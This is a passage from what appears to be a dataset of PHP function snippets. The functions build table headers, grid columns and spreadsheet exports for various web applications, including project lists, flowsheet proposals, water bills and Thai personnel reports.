'asInt', 'filter' => 'numeric');\n \n $colDef[] = array('title' => lang_get($lbl) . \" \" . $labels['in_percent'], 'width' => 40,\n 'col_id' => 'id_'. $lbl .'_percent', 'type' => 'float', 'sortType' => 'asFloat',\n 'filter' => 'numeric');\n }\n \n $colDef[] = array('title_key' => 'progress', 'width' => 40, 'sortType' => 'asFloat', 'filter' => 'numeric');\n\n return $colDef;\n}", "public static function excelSkillsHeadingsMYSQL()\n {\n return [\n 'skills' => 'Skill type',\n 'agriculture' => 'Agriculture forestry and fishing',\n 'mining' => 'Mining',\n 'manufacturing' => 'Manufacturing',\n 'electricity' => 'Electricity gas water and waste services',\n 'construction' => 'Construction',\n 'w_trade' => 'Wholesale trade',\n 'r_trade' => 'Retail trade',\n 'accommodation' => 'Accommodation and food services',\n 'transport' => 'Transport postal and warehousing',\n 'ict' => 'Information media and telecommunications',\n 'financial' => 'Financial and insurance services',\n 'r_estate' => 'Rental hiring and real estate services',\n 'professional' => 'Professional scientific and technical services',\n 'admin' => 'Administrative and support services',\n 'public' => 'Public administration and safety',\n 'education' => 'Education and training',\n 'health' => 'Health care and social assistance',\n 'arts' => 'Arts and recreation services',\n 'o_services' => 'Other services',\n 'sa_state' => 'South australia'\n ];\n }", "public function buildTable()\n {\n\n $view = View::getActive();\n\n // Creating the Head\n $head = '<thead class=\"ui-widget-header\" >'.NL;\n $head .= '<tr>'.NL;\n\n $head .= '<th >Project Name</th>'.NL;\n //$head .= '<th>File</th>'.NL;\n $head .= '<th >Description</th>'.NL;\n $head .= '<th style=\"width:165px\" >Nav</th>'.NL;\n\n $head .= '</tr>'.NL;\n $head .= '</thead>'.NL;\n //\\ Creating the Head\n\n // Generieren des Bodys\n $body = '<tbody class=\"ui-widget-content\" >'.NL;\n\n $num = 1;\n foreach ($this->data as $key => $row) {\n $rowid = $this->name.\"_row_$key\";\n\n $body .= \"<tr class=\\\"row$num\\\" id=\\\"$rowid\\\" >\";\n\n $urlConf = 'index.php?c=Daidalos.Projects.genMask&amp;objid='.urlencode($key);\n $linkConf = '<a title=\"GenMask\" class=\"wcm wcm_req_ajax wgt_info\" href=\"'.$urlConf.'\">'\n .Wgt::icon('daidalos/bdl_mask.png' , 'xsmall' , 'build').'</a>';\n\n $urlGenerate = 'index.php?c=Genf.Bdl.build&amp;objid='.urlencode($key);\n $linkGenerate = '<a title=\"Code generieren\" class=\"wcm wcm_req_ajax wgt_info\" href=\"'.$urlGenerate.'\">'\n .Wgt::icon('daidalos/parser.png' , 'xsmall' , 'build').'</a>';\n\n\n $urlDeploy = 'index.php?c=Genf.Bdl.deploy&amp;objid='.urlencode($key);\n $linkDeploy = '<a title=\"Deploy the Project\" class=\"wcm wcm_req_ajax wgt_info\" href=\"'.$urlDeploy.'\">'\n .Wgt::icon('genf/deploy.png' , 'xsmall' , 'deploy').'</a>';\n\n $urlRefreshDb = 'index.php?c=Genf.Bdl.refreshDatabase&amp;objid='.urlencode($key);\n $linkRefreshDb = '<a title=\"Refresh the database\" class=\"wcm wcm_req_ajax wgt_info\" href=\"'.$urlRefreshDb.'\">'\n .Wgt::icon('daidalos/db_refresh.png' , 'xsmall' , 'sync db').'</a>';\n\n $urlSyncDb = 'index.php?c=Genf.Bdl.syncDatabase&amp;objid='.urlencode($key);\n $linkSyncDb = '<a title=\"Sync the database with the model\" class=\"wcm wcm_req_ajax wgt_info\" href=\"'.$urlSyncDb.'\">'\n .Wgt::icon('daidalos/db_sync.png' , 'xsmall' , 'sync db').'</a>';\n\n $urlPatchDb = 'index.php?c=Genf.Bdl.createDbPatch&amp;objid='.urlencode($key);\n $linkPatchDb = '<a title=\"Create an SQL Patch to alter the database\" class=\"wcm wcm_req_ajax wgt_info\" href=\"'.$urlPatchDb.'\" >'\n .Wgt::icon('genf/dump.png' , 'xsmall' , 'create alter patch').'</a>';\n\n $urlClean = 'index.php?c=Genf.Bdl.clean&amp;objid='.urlencode($key);\n $linkClean = '<a title=\"Projekt cleanen\" class=\"wcm wcm_req_ajax wgt_info\" href=\"'.$urlClean.'\">'\n .Wgt::icon('genf/clean.png' , 'xsmall' , 'clean').'</a>';\n\n $body .= '<td valign=\"top\" >'.$row[0].'</td>'.NL;\n //$body .= '<td valign=\"top\" >'.$row[1].'</td>'.NL;\n $body .= '<td valign=\"top\" >'.$row[2].'</td>'.NL;\n $body .= '<td valign=\"top\" align=\"center\" >'.$linkConf.' | '.$linkGenerate.$linkDeploy.' | '.$linkSyncDb.' '.$linkRefreshDb.' '.$linkPatchDb.' | '.$linkClean.'</td>'.NL;\n\n $body .= '</tr>'.NL;\n\n $num ++;\n if ($num > $this->numOfColors)\n $num = 1;\n\n }// ENDE FOREACH\n\n $body .= \"</tbody>\".NL;\n //\\ Generieren des Bodys\n\n $html ='<table id=\"table_'.$this->name.'\" class=\"full\" >'.NL;\n $html .= $head;\n $html .= $body;\n $html .= '</table>'.NL;\n\n return $html;\n\n }", "private function createFileHeadings() {\n\t\t// Allow other plugins to add their own column headers\n\t\t$headings = elgg_trigger_plugin_hook('row:headers', 'userexport', array(), $this->fields);\n\n\t\t// Attempt to translate the fields\n\t\tforeach ($headings as $key => $field) {\n\t\t\t$lang_string = \"profile:{$field}\";\n\t\t\t$heading = elgg_echo($lang_string);\n\n\t\t\t// No translation was found, fall back to the original string\n\t\t\tif ($heading === $lang_string) {\n\t\t\t\t$heading = elgg_echo($field);\n\t\t\t}\n\n\t\t\t$headings[$key] = $heading;\n\t\t}\n\n\t\t$this->writeToCSV($headings);\n\t}", "public function getProjectTableHtml() {\n\t\t$data['projects'] = $this->_user->getVisibleProjects($this->_project_factory, $showArchived=true);\n\t\treturn $this->renderView('projects/list_table', $data);\n\t}", "function dwsim_flowsheet_progress_all()\n{\n\t$page_content = \"\";\n\t$query = db_select('dwsim_flowsheet_proposal');\n\t$query->fields('dwsim_flowsheet_proposal');\n\t$query->condition('approval_status', 1);\n\t$query->condition('is_completed', 0);\n\t$result = $query->execute();\n\tif ($result->rowCount() == 0)\n\t{\n\t\t$page_content .= \"Work is in progress for the following flowsheets under Flowsheeting Project<hr>\";\n\t} //$result->rowCount() == 0\n\telse\n\t{\n\t\t$page_content .= \"Work is in progress for the following flowsheets under Flowsheeting Project<hr>\";;\n\t\t$preference_rows = array();\n\t\t$i = $result->rowCount();\n\t\twhile ($row = $result->fetchObject())\n\t\t{\n\t\t\t$approval_date = date(\"Y\", $row->approval_date);\n\t\t\t$preference_rows[] = array(\n\t\t\t\t$i,\n\t\t\t\t$row->project_title,\n\t\t\t\t$row->contributor_name,\n\t\t\t\t$row->university,\n\t\t\t\t$approval_date\n\t\t\t);\n\t\t\t$i--;\n\t\t} //$row = $result->fetchObject()\n\t\t$preference_header = array(\n\t\t\t'No',\n\t\t\t'Flowsheet Project',\n\t\t\t'Contributor Name',\n\t\t\t'University / Institute',\n\t\t\t'Year'\n\t\t);\n\t\t$page_content .= theme('table', array(\n\t\t\t'header' => $preference_header,\n\t\t\t'rows' => $preference_rows\n\t\t));\n\t}\n\treturn $page_content;\n}", "public function actionTitles()\n\t{\n $this->setPageTitle(\"IVR Branch Titles\");\n $this->setGridDataUrl($this->url('task=get-ivr-branch-data&act=get-titles'));\n $this->display('ivr_branch_titles');\n\t}", "public static function excelSkillsShortagesHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "function print_header(){\n\t\tglobal $worksheet, $xlsRow, $COM_LEVEL_SALP;\n\n\t\t$worksheet->set_column(0, 0, 6);\n\t\t$worksheet->set_column(1, 1, 20);\n\t\t$worksheet->set_column(2, 2, 25);\n\t\t$worksheet->set_column(3, 3, 50);\n\t\t$worksheet->set_column(4, 4, 15);\n\t\t$worksheet->set_column(5, 5, 15);\n\t\t$worksheet->set_column(6, 6, 15);\n\t\t$worksheet->set_column(7, 7, 15);\n\t\t$worksheet->set_column(8, 8, 35);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"เลขประจำตัวประชาชน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"ชื่อ-นามสกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"ตำแหน่ง/สังกัด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"เลขที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 5, \"อัตราเงินเดือน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 6, \"เงินตอบแทน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"หมายเหตุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"ตำแหน่ง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"ที่เต็มขั้น\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"ร้อยละ 2 (บาท)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"ร้อยละ 4 (บาท)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t}", "public function horometersExcel(){ \n return Excel::download(new HorometersExport, 'horometros-list-'.date('Y-m-d_H:i:s').'.xlsx');\n }", "public function grid() : array\n {\n return [\n 'name' => 'Имя',\n 'publish_at' => 'Дата публикации',\n 'created_at' => 'Дата создания',\n ];\n }", "protected function display_data_header()\n\t{\n\t\t$msg =\n\t\t\t\"<p>\" .\n\t\t\t\t\"How good each project was, compared with the other projects scored \" .\n\t\t\t\t\"by the same judge. The higher the number, the better the project.\" .\n\t\t\t\"</p><br>\";\n\n\t\treturn $msg . parent::display_data_header();\n\n\t}", "function metadata()\n {\n $this->load->library('explain_table');\n\n $metadata = $this->explain_table->parse( 'projects' );\n\n foreach( $metadata as $k => $md )\n {\n if( !empty( $md['enum_values'] ) )\n {\n $metadata[ $k ]['enum_names'] = array_map( 'lang', $md['enum_values'] ); \n } \n }\n return $metadata; \n }", "function buildRows(&$rows ) {\n require_once 'CRM/Utils/HilreportsUtils.php';\n $this->modifyColumnHeaders( );\n $this->calculateAantalContacts();\n $this->setCustomGroupIdExtraGegevens();\n $rowNumber = 0;\n /*\n * eerste rij met totalen\n */\n $rows[$rowNumber]['label'] = \"<strong>TOTAAL:</strong>\";\n $rows[$rowNumber]['aantal'] = $this->_aantalContacts;\n $rows[$rowNumber]['percentage'] = \"100%\";\n $rowNumber++;\n $this->_aantalRijen++;\n /*\n * build rows for land van herkomst\n */\n $this->insertEmptyLine($rowNumber, $rows);\n $this->insertHeaderLine($rowNumber, $rows, \"Land van herkomst:\");\n $this->addRowsLandVanHerkomst($rows, $rowNumber);\n /*\n * build rows for economische status\n */\n $this->insertEmptyLine($rowNumber, $rows);\n $this->insertHeaderLine($rowNumber, $rows, \"Economische status\");\n $this->addRowsOptionValue($rows, $rowNumber, \"Economische status\", \"econ_status\");\n /*\n * build rows for burgerlijke staat\n */\n $this->insertEmptyLine($rowNumber, $rows);\n $this->insertHeaderLine($rowNumber, $rows, \"Burgerlijke staat\");\n $this->addRowsOptionValue($rows, $rowNumber, \"Burgerlijke staat\", \"burg_staat\");\n /*\n * build rows for ethnisch culturele achtergrond\n */\n $this->insertEmptyLine($rowNumber, $rows);\n $this->insertHeaderLine($rowNumber, $rows, \"Ethnisch/culturele achtergrond\");\n $this->addRowsOptionValue($rows, $rowNumber, \"Ethnisch/culturele achtergrond\", \"cult_ethn\");\n /*\n * build rows for nationaliteit\n */\n $this->insertEmptyLine($rowNumber, $rows);\n $this->insertHeaderLine($rowNumber, $rows, \"Nationaliteit\");\n $this->addRowsText($rows, $rowNumber, \"nationaliteit\");\n /*\n * build rows for geslacht\n */\n $this->_optionGroupId = 3;\n $this->insertEmptyLine($rowNumber, $rows);\n $this->insertHeaderLine($rowNumber, $rows, \"Geslacht:\");\n $this->addRowsOptionValue($rows, $rowNumber, \"\", \"geslacht\");\n }", "function header() {\n //\n //Get the fields in this sql \n $cols= $this->fields->get_array();\n //\n //Loop through the fields and display the <tds>\n foreach ($cols as $col) {\n //\n $name= is_null($col->alias) ? $col->to_str():$col->alias;\n echo \"<th>$name</th>\"; \n }\n }", "public static function formatMonthlyBillsToExcelExport(Project $project, BillWaterSource $water_bill)\n {\n return Excel::create($water_bill->date_covered.' '.$project->name, function($excel) use ($project, $water_bill) {\n $excel->setTitle($water_bill->date_covered.' '.$project->name);\n\n $developer = Developer::getCurrentDeveloper();\n $excel->setCompany($developer->name);\n\n $excel->setDescription(\"Water bills for \".$project->name.' '.$water_bill->date_covered);\n $excel->sheet($water_bill->date_covered, function($sheet) use ($project, $water_bill) {\n \n $sheet->row(1, array('PROPERTY','DATE COVERED','CONSUMPTION','BILL','PAYMENT','DATE','REMARKS'));\n\n $sheet->cells('A1:G1', function($cells) {\n $cells->setAlignment('center');\n $cells->setFontWeight('bold');\n });\n\n $properties = Property::leftJoin('bills_water_source_details','bills_water_source_details.property_id','=','properties.id')\n ->whereRaw(DB::raw('bills_water_source_details.bills_water_source_id = '.$water_bill->id))\n ->get();\n\n $start = 2;\n for($i=$start;$i<count($properties)+$start;$i++){\n $sheet->row($i, array(\n $properties[$i-$start]->name,\n $properties[$i-$start]->date_covered,\n number_format($properties[$i-$start]->consumption, 4, '.', ','),\n number_format($properties[$i-$start]->bill, 4, '.', ','),\n number_format($properties[$i-$start]->payment, 4, '.', ','),\n ($properties[$i-$start]->date_payment != '0000-00-00') ? $properties[$i-$start]->date_payment : \"\",\n $properties[$i-$start]->remarks));\n\n $sheet->cells('A'.$i.':G'.$i, function($cells){\n $cells->setAlignment('center');\n });\n }\n });\n });\n }", "public function scheme_download(){\n $this->load->library('PHPExcel');\n $this->load->library('PHPExcel/IOFactory');\n\n $objPHPExcel = new PHPExcel();\n \n $objPHPExcel->createSheet();\n \n $objPHPExcel->getProperties()->setTitle(\"export\")->setDescription(\"none\");\n\n $objPHPExcel->setActiveSheetIndex(0);\n\n // Field names in the first row\n $fields = array(\n 'Scheme Name',\n 'Start Date',\n 'End Date',\n 'Product'\n );\n \n $col = 0;\n foreach ($fields as $field)\n {\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, 1, $field);\n $col++;\n }\n \n // Fetching the table data\n $this->load->model('scheme/schememodel');\n $results = $this->model_scheme_schememodel->getschemedata($this->request->get);\n \n $row = 2;\n \n foreach($results as $data)\n {\n $col = 0;\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(0, $row, $data['Scheme_Name']);\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(1, $row, $data['START_DATE']);\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(2, $row, $data['END_DATE']);\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(3, $row, $data['product_name']);\n $objPHPExcel->getActiveSheet()->getColumnDimension('A')->setAutoSize(true);\n $objPHPExcel->getActiveSheet()->getColumnDimension('B')->setAutoSize(true);\n $objPHPExcel->getActiveSheet()->getColumnDimension('C')->setAutoSize(true);\n $objPHPExcel->getActiveSheet()->getColumnDimension('D')->setAutoSize(true);\n \n \n \n \n $objPHPExcel->getActiveSheet()->getStyle('A1:L1')->getFont()->setItalic(true);\n $objPHPExcel->getActiveSheet()->getStyle('A1:L1')->getFont()->setBold(true);\n $objPHPExcel->getActiveSheet()->getStyle('A1:L1')->getFont()->setSize(12);\n $objPHPExcel->getActiveSheet()->getDefaultRowDimension('A1:L1')->setRowHeight(20);\n $objPHPExcel->getActiveSheet()->getStyle('A1:L1')->getFont()->getColor()->setRGB('FF0000');\n $row++;\n }\n\n \n\n \n$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\n // Sending headers to force the user to download the file\n header('Content-Type: application/vnd.ms-excel');\n header('Content-Disposition: attachment;filename=\"Attendance_report_'.date('dMy').'.xls\"');\n header('Cache-Control: max-age=0');\n\n $objWriter->save('php://output');\n \n }", "function print_header(){\n\t\tglobal $worksheet, $xlsRow;\n\n\t\t$worksheet->set_column(0, 0, 10);\n\t\t$worksheet->set_column(1, 1, 25);\n\t\t$worksheet->set_column(2, 2, 30);\n\t\t$worksheet->set_column(3, 3, 20);\n\t\t$worksheet->set_column(4, 4, 30);\n\t\t$worksheet->set_column(5, 5, 15);\n\t\t$worksheet->set_column(6, 6, 20);\n\t\t$worksheet->set_column(7, 7, 30);\n\t\t$worksheet->set_column(8, 8, 30);\n\t\t$worksheet->set_column(9, 9, 20);\n\t\t$worksheet->set_column(10, 10, 10);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"ชื่อ-สกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"สาขาวิชา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"ระดับการศึกษา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"สถานศึกษา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 5, \"ประเทศ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 6, \"ตำแหน่ง/ระดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"สังกัด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"ชื่อทุน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 9, \"ระยะเวลา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"จำนวนวัน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t}", "function dwsim_flowsheet_uploaded_tab()\n{\n\t$page_content = \"\";\n\t$result = db_query(\"SELECT dfp.project_title, dfp.contributor_name, dfp.id, dfp.university, dfa.abstract_upload_date, dfa.abstract_approval_status from dwsim_flowsheet_proposal as dfp JOIN dwsim_flowsheet_submitted_abstracts as dfa on dfa.proposal_id = dfp.id where dfp.id in (select proposal_id from dwsim_flowsheet_submitted_abstracts) AND approval_status = 1\");\n\n\tif ($result->rowCount() == 0)\n\t{\n\t\t$page_content .= \"Uploaded Proposals under Flowsheeting Project<hr>\";\n\t}\n\telse\n\t{\n\t\t$page_content .= \"Uploaded Proposals under Flowsheeting Project: \" . $result->rowCount() . \"<hr>\";\n\t\t$preference_rows = array();\n\t\t$i = 1;\n\t\twhile ($row = $result->fetchObject())\n\t\t{\n\t\t\t$abstract_upload_date = date(\"d-M-Y\", $row->abstract_upload_date);\n\t\t\t$preference_rows[] = array(\n\t\t\t\t$i,\n\t\t\t\t$row->project_title,\n\t\t\t\t$row->contributor_name,\n\t\t\t\t$row->university,\n\t\t\t\t$abstract_upload_date\n\t\t\t);\n\t\t\t$i++;\n\t\t}\n\t\t$preference_header = array(\n\t\t\t'No',\n\t\t\t'Flowsheet Project',\n\t\t\t'Contributor Name',\n\t\t\t'University / Institute',\n\t\t\t'Date of file submission'\n\t\t);\n\t\t$page_content .= theme('table', array(\n\t\t\t'header' => $preference_header,\n\t\t\t'rows' => $preference_rows\n\t\t));\n\t}\n\treturn $page_content;\n}", "function adleex_resource_list_column_header( $cols ) {\nglobal $current_screen;\n\n\tif ($current_screen->post_type!='resource') return $cols;\n\n\tunset($cols['date']);\n\t$header = array(\n 'post_title' => 'title', );\n\tforeach($header\tas $k => $v) $cols[$k]=$v;\n\treturn $cols;\n}", "public function headings(): array\n {\n return [\n 'Name',\n 'Developer Name',\n 'Status',\n 'Description',\n 'Created At',\n ];\n }", "public static function buildTemplateTable()\r\n\t{\r\n\t\tglobal $lang;\r\n\t\t// Check if we're on the setup page in the Control Center\r\n\t\t$isSetupPage = (PAGE == self::CC_TEMPLATE_PAGE);\r\n\t\t// Store template projects in array\r\n\t\t$templateList = self::getTemplateList();\r\n\t\t// Initialize varrs\r\n\t\t$row_data = array();\r\n\t\t$headers = array();\r\n\t\t$i = 0;\r\n\t\t$textLengthTruncate = 230;\r\n\t\t// Loop through array of templates\r\n\t\tforeach ($templateList as $this_pid=>$attr)\r\n\t\t{\r\n\t\t\t// If not enabled yet, then do not display on Create Project page\r\n\t\t\tif (!$isSetupPage && !$attr['enabled']) continue;\t\t\r\n\t\t\t// If description is very long, truncate what is visible initially and add link to view entire text\r\n\t\t\tif (strlen($attr['description']) > $textLengthTruncate) {\r\n\t\t\t\t$textCutoffPosition = strrpos(substr($attr['description'], 0, $textLengthTruncate), \" \");\r\n\t\t\t\tif ($textCutoffPosition === false) $textCutoffPosition = $textLengthTruncate;\r\n\t\t\t\t$descr1 = substr($attr['description'], 0, $textCutoffPosition);\r\n\t\t\t\t$descr2 = substr($attr['description'], $textCutoffPosition);\r\n\t\t\t\t$attr['description'] = $descr1 . RCView::span('', \"... \") . \r\n\t\t\t\t\t\t\t\t\t\tRCView::a(array('href'=>'javascript:;','style'=>'text-decoration:underline;font-size:10px;','onclick'=>\"$(this).prev('span').hide();$(this).hide().next('span').show();\"), \r\n\t\t\t\t\t\t\t\t\t\t\t$lang['create_project_94']\r\n\t\t\t\t\t\t\t\t\t\t) .\r\n\t\t\t\t\t\t\t\t\t\tRCView::span(array('style'=>'display:none;'), $descr2);\r\n\t\t\t}\r\n\t\t\t// Set radio button (create project page) OR edit/delete icons (control center)\r\n\t\t\tif ($isSetupPage) {\r\n\t\t\t\t$actionItem = \tRCView::a(array('href'=>'javascript:;','onclick'=>\"projectTemplateAction('prompt_addedit',$this_pid);\"), \r\n\t\t\t\t\t\t\t\t\tRCView::img(array('src'=>'pencil.png','title'=>$lang['create_project_90']))\r\n\t\t\t\t\t\t\t\t) .\r\n\t\t\t\t\t\t\t\tRCView::a(array('style'=>'margin-left:3px;','href'=>'javascript:;','onclick'=>\"projectTemplateAction('prompt_delete',$this_pid);\"), \r\n\t\t\t\t\t\t\t\t\tRCView::img(array('src'=>'cross.png','title'=>$lang['create_project_93']))\r\n\t\t\t\t\t\t\t\t);\r\n\t\t\t} else {\r\n\t\t\t\t$actionItem = RCView::radio(array('name'=>'copyof','value'=>$this_pid));\r\n\t\t\t}\r\n\t\t\t// Add this project as a row\r\n\t\t\t$row_data[$i][] = $actionItem;\r\n\t\t\tif ($isSetupPage) {\r\n\t\t\t\t$row_data[$i][] = RCView::a(array('href'=>'javascript:;','onclick'=>\"projectTemplateAction('prompt_addedit',$this_pid);\"), \r\n\t\t\t\t\t\t\t\t\tRCView::img(array('src'=>($attr['enabled'] ? 'star.png' : 'star_empty.png'),'title'=>$lang['create_project_90']))\r\n\t\t\t\t\t\t\t\t );\r\n\t\t\t}\r\n\t\t\t$row_data[$i][] = RCView::div(array('style'=>'color:#800000;padding:0;white-space:normal;word-wrap:normal;line-height:12px;'), $attr['title']);\r\n\t\t\t$row_data[$i][] = RCView::div(array('style'=>'padding:0;white-space:normal;word-wrap:normal;line-height:12px;'), $attr['description']);\r\n\t\t\t// Increment counter\r\n\t\t\t$i++;\r\n\t\t}\r\n\t\t// If no templates exist, then give message \r\n\t\tif (empty($row_data))\r\n\t\t{\r\n\t\t\t$row_data[$i][] = \"\";\r\n\t\t\tif ($isSetupPage) $row_data[$i][] = \"\";\r\n\t\t\t$row_data[$i][] = RCView::div(array('style'=>'padding:0;white-space:normal;word-wrap:normal;'), $lang['create_project_77']);\r\n\t\t\t$row_data[$i][] = \"\";\r\n\t\t}\r\n\t\t// \"Add templates\" button\r\n\t\t$addTemplatesBtn = ((SUPER_USER && !$isSetupPage)\r\n\t\t\t\t\t\t\t? \t// Create New Project page\r\n\t\t\t\t\t\t\t\tRCView::div(array('style'=>'float:right;padding:5px 0 0;'),\r\n\t\t\t\t\t\t\t\t\tRCView::button(array('class'=>'jqbuttonsm','style'=>'color:green;','onclick'=>\"window.location.href=app_path_webroot+'\".self::CC_TEMPLATE_PAGE.\"';return false;\"), \r\n\t\t\t\t\t\t\t\t\t\tRCView::img(array('src'=>'plus_small2.png')) . $lang['create_project_78']\r\n\t\t\t\t\t\t\t\t\t)\r\n\t\t\t\t\t\t\t\t)\r\n\t\t\t\t\t\t\t: \r\n\t\t\t\t\t\t\t\t(!$isSetupPage ? \"\" : \r\n\t\t\t\t\t\t\t\t\t// Control Center\r\n\t\t\t\t\t\t\t\t\tRCView::div(array('style'=>'float:right;padding:0 200px 5px 0;'),\r\n\t\t\t\t\t\t\t\t\t\tRCView::button(array('class'=>'jqbuttonmed','style'=>'color:green;','onclick'=>\"projectTemplateAction('prompt_addedit')\"), \r\n\t\t\t\t\t\t\t\t\t\t\tRCView::img(array('src'=>'add.png','style'=>'vertical-align:middle')) . \r\n\t\t\t\t\t\t\t\t\t\t\tRCView::span(array('style'=>'vertical-align:middle'), $lang['create_project_83'])\r\n\t\t\t\t\t\t\t\t\t\t)\r\n\t\t\t\t\t\t\t\t\t)\r\n\t\t\t\t\t\t\t\t)\r\n\t\t\t\t\t\t\t);\r\n\t\t// Width & height\r\n\t\t$width = 720;\r\n\t\t$height = ($isSetupPage) ? 500 : 200;\r\n\t\t// Set table headers and attributes\r\n\t\t// First column (radios or edit/delete icons)\r\n\t\t$headers[] = array(42, ($isSetupPage ? \"\" : RCView::div(array('style'=>'font-size:10px;padding:0;white-space:normal;word-wrap:normal;color:#777777;font-family:tahoma;line-height:10px;'), $lang['create_project_74'])), \"center\");\r\n\t\tif ($isSetupPage) {\r\n\t\t\t// Column for Enabled stars\r\n\t\t\t$headers[] = array(43, $lang['create_project_104'], 'center');\r\n\t\t}\r\n\t\t// Title column\r\n\t\t$headers[] = array(163, RCView::b($lang['create_project_73']) . RCView::SP . RCView::SP . RCView::SP . $lang['create_project_103']);\r\n\t\t// Discription column\r\n\t\t$headers[] = array(461 - ($isSetupPage ? 55 : 0), RCView::b($lang['create_project_69']));\r\n\t\t// Title\r\n\t\t$title = RCView::div(array('style'=>'float:left;padding:1px 0 12px 5px;font-weight:bold;'),\r\n\t\t\t\t\tRCView::span(array('style'=>'font-size:12px;color:#800000;'), \r\n\t\t\t\t\t\t($isSetupPage ? $lang['create_project_81'] : RCView::img(array('src'=>'star.png','class'=>'imgfix')) . $lang['create_project_66'])\r\n\t\t\t\t\t) . \r\n\t\t\t\t\t($isSetupPage ? '' : RCView::span(array('style'=>'font-weight:normal;margin-left:10px;'), $lang['create_project_65']))\r\n\t\t\t\t ) . \r\n\t\t\t\t $addTemplatesBtn;\r\n\t\t// Render table and return its html\r\n\t\treturn renderGrid(\"template_projects_list\", $title, $width, $height, $headers, $row_data, true, true, false);\r\n\t}", "function overview_columns($columns) {\r\n\r\n $overview_columns = apply_filters('wpi_overview_columns', array(\r\n 'cb' => '',\r\n 'post_title' => __('Title', WPI),\r\n 'total' => __('Total Collected', WPI),\r\n 'user_email' => __('Recipient', WPI),\r\n 'post_modified' => __('Date', WPI),\r\n 'post_status' => __('Status', WPI),\r\n 'type' => __('Type', WPI),\r\n 'invoice_id' => __('Invoice ID', WPI)\r\n ));\r\n\r\n /* We need to grab the columns from the class itself, so we instantiate a new temp object */\r\n foreach ($overview_columns as $column => $title) {\r\n $columns[$column] = $title;\r\n }\r\n\r\n return $columns;\r\n }", "public function build_table()\n {\n if (count($this->properties) > 0)\n {\n foreach ($this->properties as $property => $values)\n {\n $contents = array();\n $contents[] = $property;\n \n if (! is_array($values))\n {\n $values = array($values);\n }\n \n if (count($values) > 0)\n {\n foreach ($values as $value)\n {\n $contents[] = $value;\n }\n }\n \n $this->addRow($contents);\n }\n \n $this->setColAttributes(0, array('class' => 'header'));\n }\n else\n {\n $contents = array();\n $contents[] = Translation::get('NoResults', null, Utilities::COMMON_LIBRARIES);\n $row = $this->addRow($contents);\n $this->setCellAttributes($row, 0, 